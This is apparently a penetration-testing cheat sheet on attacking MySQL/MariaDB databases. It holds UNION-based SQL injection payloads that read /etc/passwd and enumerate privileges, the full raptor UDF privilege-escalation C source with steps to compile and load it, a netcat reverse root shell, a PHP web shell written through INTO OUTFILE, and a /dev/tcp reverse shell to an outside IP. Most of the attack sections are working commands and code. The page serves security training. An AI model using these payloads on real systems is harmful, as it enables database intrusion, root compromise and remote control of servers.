3306 - MySQL/MariaDB

101

MariaDB is a fork of MySQL which uses the same port and syntax.

Usage

SELECT version();

Schemas & DBs

MySQL default system schemas:

Schema
Description

mysql

System database containing tables that store information required by the MySQL server

information_schema

Provides access to database metadata

performance_schema

A feature for monitoring MySQL Server execution at a low level

sys

A set of objects that helps DBAs and developers interpret data collected by the performance_schema

MySQL stores information about itself in the information_schema database, which is a read-only repository of the metadata of the MySQL database server, providing insights into the structure and organization of the database environment. It contains some useful tables, such as:

Table
Description

Information about all databases

Information about all tables

Details about columns in the tables

We can use the following queries to enumerate the DBMS via the information_schema database:

SELECT table_schema FROM information_schema.tables GROUP BY table_schema;

CLI Tools

mysql -h <target-ip> -u lewis -pP4ntherg0t1n5r3c0n##

For an example of mysql usage see Devvortex.

Attacks

SQLi

Enumeration statements:

a' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- 

UNION-based payload for reading and writing files:

# Enumerate user
a' UNION SELECT 1, user(), 3, 4-- 
a' UNION SELECT 1, user, 3, 4 from mysql.user-- 

# User's privileges
a' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="user1"-- 

# Superpriv
a' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="user1"-- 

# Read file
a' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- 

UDF Functions

User Defined Functions (UDFs) in MySQL enable extending database capabilities by allowing custom functions written in any programming language to be compiled into shared libraries and loaded into the database. These functions run natively like built-in ones, providing flexibility but also introducing a significant attack surface when exploited. From a red team perspective, UDFs present a powerful method to escalate privileges, especially when the MySQL server runs with elevated permissions.

# Enumerate mysql permissions
ps -aux | grep mysql

If the MySQL operates as root and the latter is compromised there is the potential of leveraging UDFs for privilege escalation based on raptor's PoC.

C code
raptor_udf2.c
#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
	unsigned int		arg_count;	// number of arguments
	enum Item_result	*arg_type;	// pointer to item_result
	char 			**args;		// pointer to arguments
	unsigned long		*lengths;	// length of string args
	char			*maybe_null;	// 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
	char			maybe_null;	// 1 if func can return NULL
	unsigned int		decimals;	// for real functions
	unsigned long 		max_length;	// for string functions
	char			*ptr;		// free ptr for func data
	char			const_item;	// 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
	if (args->arg_count != 1)
		return(0);

	system(args->args[0]);

	return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
	return(0);
}
# Compile the exploit code
gcc -g -c raptor_udf2.c
# Covert the compiled binary to a shared library (so)
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Accessing the MySQL database with root credentials allows the discovery of the plugin directory where MySQL stores UDF libraries and confirmation that the secure_file_priv setting was disabled, permitting file operations necessary for loading the malicious library.

# Enumerate the plugin directory
show variables like '%plugin%';
# Check the value of the secure_file_priv setting (empty/NULL means that is disabled)
show variables like '%secure_file_priv%';

The compiled shared library was loaded into the database by reading its binary content into a table and dumping it into the plugin directory. Subsequently, a new SQL function was created to link to this shared library.

# Use the mysql database
use mysql;

# Create a table to hold the exploit code
create table foo(line blob);

# Import the exploit by inserting its contents into the table
insert into foo values(load_file('/tmp/raptor_udf2.so'));

# Dump the so's content onto the plugins directory
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

# Create a function that invokes the exploit
create function do_system returns integer soname 'raptor_udf2.so';

# Confirm the presence of the do_system function
select * from mysql.func;

# Test the function
select do_system('id > /var/www/output; chown www-data www-data  /var/www/output');

# Get a reverse root shell
select do_system('nc 192.168.49.136 8080 -e /bin/bash');

Read & Write Files

In MySQL, the ability to read from or write to files requires the FILE privilege, and is further controlled by the global system variable secure_file_priv. This variable restricts file operations to a specific directory:

  • If set to a directory path, operations like LOAD_FILE and SELECT ... INTO OUTFILE are limited to that path.

  • If set to NULL, these operations are completely disabled.

  • If empty, there are no restrictions—this is insecure but allows unrestricted file I/O.

# Check current setting
SELECT @@GLOBAL.secure_file_priv;

If permitted, files can be written using the SELECT ... INTO OUTFILE clause. The target directory must be writable by the OS user running MySQL. For example:

SELECT * FROM users INTO OUTFILE '/var/lib/mysql-files/test.txt';

To read files:

SELECT LOAD_FILE('/var/lib/mysql-files/test.txt');

If the server is insecurely configured (e.g., secure_file_priv is empty), sensitive files may be readable:

SELECT LOAD_FILE('/etc/passwd');

An attacker with FILE privileges may exploit SQLi to:

  • Read files using LOAD_FILE()

  • Write files using INTO OUTFILE

  • Query sensitive tables and variables like mysql.user or information_schema.global_variables

a' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4--
a' UNION SELECT 1, user(), 3, 4--
a' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables WHERE variable_name="secure_file_priv"--

If the MySQL server is running in a web environment and the web root is known and writable, it may be possible to write a PHP web shell. To enumurate the webroot the LOAD_FILE clause can be used to read the server configuration.

Server
Web Root Directory

Apache

/etc/apache2/apache2.conf

Nginx

/etc/nginx/nginx.conf

ISS

$WinDir%\System32\Inetsrv\Config\ApplicationHost.config

# Write a webshell file
SELECT "<?php echo shell_exec($_GET['c']); ?>" INTO OUTFILE '/var/www/html/webshell.php';

Once written, this shell can be accessed via a browser to execute OS commands and if needed upgraded to a reverse shell.

# Revshell payload
sh -i >& /dev/tcp/192.168.45.170/443 0>&1

# Encoded
GET /webshell.php?c=sh%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.45.170%2f443%200%3e%261

Inline Commands

Tools like WinRM does not support interactive prompts like mysql shell normally uses. That means we must use the -e option to execute SQL statements inline:

# List databases
> .\mysql.exe -u root -e "SHOW DATABASES;"

# List tables
.\mysql.exe -u root -D wordpress -e "SHOW TABLES;"
...

Last updated

Was this helpful?